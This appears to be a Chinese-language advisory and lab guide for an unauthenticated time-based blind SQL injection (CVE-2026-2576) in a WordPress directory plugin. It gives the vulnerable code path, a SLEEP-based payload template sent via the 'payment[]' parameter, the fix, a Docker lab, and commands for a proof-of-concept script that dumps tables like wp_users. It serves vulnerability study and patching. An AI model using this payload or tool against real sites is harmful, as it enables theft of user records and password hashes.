
未认证的基于时间的盲 SQL 注入
Business Directory Plugin for WordPress ≤ 6.4.21
| 字段 | 详情 |
|---|---|
| CVE | CVE-2026-2576 |
| 插件 | Business Directory Plugin – Easy Listing Directories for WordPress |
| 厂商 | strategy11team |
| 受影响版本 | 所有 ≤ 6.4.21 的版本 |
| 已修复版本 | 6.4.22 |
| 类型 | 基于时间的盲 SQL 注入 (CWE-89) |
| 认证 | 无 — 完全未认证 |
| CVSS | 7.5 (NVD) / 9.3 (Wordfence) |
| 攻击向量 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N |
| 分配方 | Wordfence (CNA) — d8ec7d25-1574-416c-b5fd-3a71b1cc09d2 |
| 披露日期 | 2026 年 2 月 18 日 |
Business Directory Plugin 是一款广泛使用的 WordPress 插件,用于构建带支付支持的列表目录。其 ORM 查询构建器中的一个缺陷允许未认证的攻击者通过 payment 查询参数执行基于时间的盲 SQL 注入,从而推断数据库内容。
该漏洞位于 ORM 查询构建器中:
文件: includes/db/class-db-query-set.php — filter_args()
private function filter_args( $args ) {
$filters = array();
foreach ( $args as $f => $v ) {
$op = '=';
// ...
if ( is_array( $v ) ) {
// ❌ 存在漏洞 — 无任何净化处理,直接进行字符串拼接
$filters[] = "$f IN ('" . implode( "','", $v ) . "')";
} else {
// ✓ 安全 — 使用 $wpdb->prepare()
$filters[] = $this->db->prepare( "$f $op %s", $v );
}
}
return $filters;
}
当 $v 是标量时,代码正确使用了 $wpdb->prepare()。当 $v 是数组时,代码会进入不安全的代码分支,将值直接拼接到 SQL 字符串中,且没有任何转义处理。
结账控制器(includes/controllers/pages/class-checkout.php)读取 payment 请求参数并将其传递给 ORM:
// class-checkout.php :: fetch_payment()
$payment_id = wpbdp_get_var( array( 'param' => 'payment' ), 'request' );
if ( ! $this->payment_id && ! empty( $payment_id ) ) {
$this->payment = WPBDP_Payment::objects()->get(
array( 'payment_key' => $payment_id ) // $payment_id 作为值传递
);
}
PHP 会自动将查询字符串中的 payment[]=value 转换为数组 $_GET['payment'] = ['value']。这会强制 filter_args() 中的 $v 成为数组,从而进入不安全的代码分支。
GET /?page_id=4&wpbdp_view=checkout&payment[]=<payload>
PHP: $_REQUEST['payment'] = ['<payload>'] ← 由于 [] 符号成为数组
|
v
class-checkout.php: fetch_payment()
|
v
WPBDP_Payment::objects()->get(['payment_key' => ['<payload>']])
|
v
class-db-query-set.php: filter_args()
=> is_array($v) == TRUE → 不安全的代码分支
=> "$f IN ('" . implode("','", $v) . "')"
|
v
MySQL: SELECT * FROM wp_wpbdp_payments
WHERE payment_key IN ('<payload>')
payment[]=<key>') AND IF((<condition>),SLEEP(N),0)-- -
生成的 SQL:
SELECT * FROM wp_wpbdp_payments
WHERE payment_key IN ('<key>') AND IF((<condition>),SLEEP(N),0)-- -')
-- - 将尾部的 ') 注释掉。IF() 创建了一个布尔判断条件,当条件为 TRUE 时,SLEEP(N) 触发,响应被延迟;当条件为 FALSE 时,响应立即返回。
注意: ORM 每次请求会执行两次查询(一次在 get() 中,一次在 maybe_execute_query() 中),因此 SLEEP(1) 载荷会产生约 2 秒的可观察延迟,而 SLEEP(2) 会产生约 4 秒的延迟。
未认证的攻击者可以通过基于时间的响应逐字符推断和提取数据库内容,包括:
wp_users)、用户名、电子邮件地址、密码哈希6.4.22 版本中的修复为 filter_args() 的数组分支添加了净化处理:
// 修复前(存在漏洞)
$filters[] = "$f IN ('" . implode( "','", $v ) . "')";
// 修复后(已修补)
$escaped = array_map( array( $this->db, 'esc_sql' ), $v );
$filters[] = "$f IN ('" . implode( "','", $escaped ) . "')";
安装 Python 依赖:
pip3 install requests colorama --break-system-packages
cve-2026-2576-lab/
┣ 📂poc
┃ ┣ 📜patch_diff.py
┃ ┗ 📜poc.py
┣ 📜.gitignore
┣ 📜docker-compose.yml
┣ 📜init-db.sql
┣ 📜README.md
┣ 📜setup.sh
┗ 📜uploads.ini
cd cve-2026-2576-lab
docker compose up -d --build
docker compose up setup
等待看到以下输出:
╔══════════════════════════════════════════════════════════╗
║ Lab Setup Complete! ║
╠══════════════════════════════════════════════════════════╣
║ WordPress: http://localhost:8080 ║
║ WP Admin: http://localhost:8080/wp-admin ║
║ phpMyAdmin: http://localhost:8082 ║
╠══════════════════════════════════════════════════════════╣
║ admin / admin123 ║
║ victim / victimpass123 ║
╠══════════════════════════════════════════════════════════╣
║ Plugin: 6.4.21 (VULNERABLE) ║
║ BD Page ID: 4 ║
╚══════════════════════════════════════════════════════════╝
docker exec lab_wordpress bash -c \
"grep 'Version:' /var/www/html/wp-content/plugins/business-directory-plugin/business-directory-plugin.php \
| head -1"
# 预期输出:* Version: 6.4.21
docker exec lab_mysql mysql -uwpuser -pwppass wordpress -e "SELECT id, payment_key, status FROM wp_wpbdp_payments;"
+----+--------------+---------+
| id | payment_key | status |
+----+--------------+---------+
| 1 | seed-pay-001 | pending |
+----+--------------+---------+
docker compose up -d pma
# 访问 http://localhost:8082 (root / rootpass)
所有命令均在 Kali 主机上的实验根目录中运行。
使用 http://localhost:8080(主机 → Docker 端口映射)。
payment_key 必须对应 wp_wpbdp_payments 表中已存在的行。
python3 poc/poc.py --target http://localhost:8080 --page-id 4 --payment-key seed-pay-001 --detect
预期输出:INJECTION CONFIRMED ✓ (2.03s ≈ 1s × 2 ORM executions)

python3 poc/poc.py --target http://localhost:8080 --page-id 4 --payment-key seed-pay-001 --extract-db

python3 poc/poc.py --target http://localhost:8080 --page-id 4 --payment-key seed-pay-001 --tables
python3 poc/poc.py --target http://localhost:8080 --page-id 4 --payment-key seed-pay-001 --dump-table wp_users
python3 poc/poc.py --target http://localhost:8080 --page-id 4 --payment-key seed-pay-001 --dump-table lab_secrets
python3 poc/poc.py --target http://localhost:8080 --page-id 4 --payment-key seed-pay-001 --custom-sql "SELECT secret_value FROM lab_secrets WHERE label='flag'"
| 参数 | 默认值 | 说明 |
|---|---|---|
--sleep N | 1 | 每次判断的 SLEEP(N)。TRUE ≈ N×2s。值越小 = 越快,但噪音越大 |
--threads N | 4 | 并行字符位置。现代硬件上 8 效果良好 |